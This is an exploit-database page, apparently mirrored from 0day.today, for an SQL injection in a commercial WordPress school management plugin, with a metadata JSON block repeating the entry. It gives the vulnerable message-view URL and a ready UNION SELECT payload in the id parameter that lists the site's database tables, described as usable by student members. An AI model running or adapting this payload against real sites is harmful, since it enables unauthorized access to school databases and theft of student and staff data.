Search...

WordPress School Management System Plugin - SQL Injection Vulnerability

2017-09-27T00:00:00

ID 1337DAY-ID-28646
Type zdt
Reporter Ihsan Sencan
Modified 2017-09-27T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # # # # # 
# Exploit Title: School Management System for Wordpress  - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/school-management-system-for-wordpress/11470032
# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/school/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an student members to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-
# 
# Etc..
# # # # #

#  0day.today [2018-03-20]  #

JSON Vulners Source

Initial Source

{"href": "https://0day.today/exploit/description/28646", "sourceData": "# # # # # \r\n# Exploit Title: School Management System for Wordpress - SQL Injection\r\n# Dork: N/A\r\n# Date: 26.09.2017\r\n# Vendor Homepage: http://mojoomla.com/\r\n# Software Link: https://codecanyon.net/item/school-management-system-for-wordpress/11470032\r\n# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/school/\r\n# Version: N/A\r\n# Category: Webapps\r\n# Tested on: WiN7_x64/KaLiLinuX_x64\r\n# CVE: N/A\r\n# # # # #\r\n# Exploit Author: Ihsan Sencan\r\n# Author Web: http://ihsan.net\r\n# Author Social: @ihsansencan\r\n# # # # #\r\n# Description:\r\n# The vulnerability allows an student members to inject sql commands....\r\n# \r\n# Proof of Concept: \r\n# \r\n# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]\r\n# \r\n# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-\r\n# \r\n# Etc..\r\n# # # # #\n\n# 0day.today [2018-03-20] #", "bulletinFamily": "exploit", "modified": "2017-09-27T00:00:00", "title": "WordPress School Management System Plugin - SQL Injection Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://0day.today/exploit/28646", "cvelist": [], "description": "Exploit for php platform in category web applications", "viewCount": 22, "published": "2017-09-27T00:00:00", "edition": 1, "id": "1337DAY-ID-28646", "type": "zdt", "lastseen": "2018-03-20T07:18:56", "reporter": "Ihsan Sencan", "enchantments": {"score": {"value": -0.4, "vector": "NONE", "modified": "2018-03-20T07:18:56", "rev": 2}, "dependencies": {"references": [], "modified": "2018-03-20T07:18:56", "rev": 2}, "vulnersScore": -0.4}, "references": []}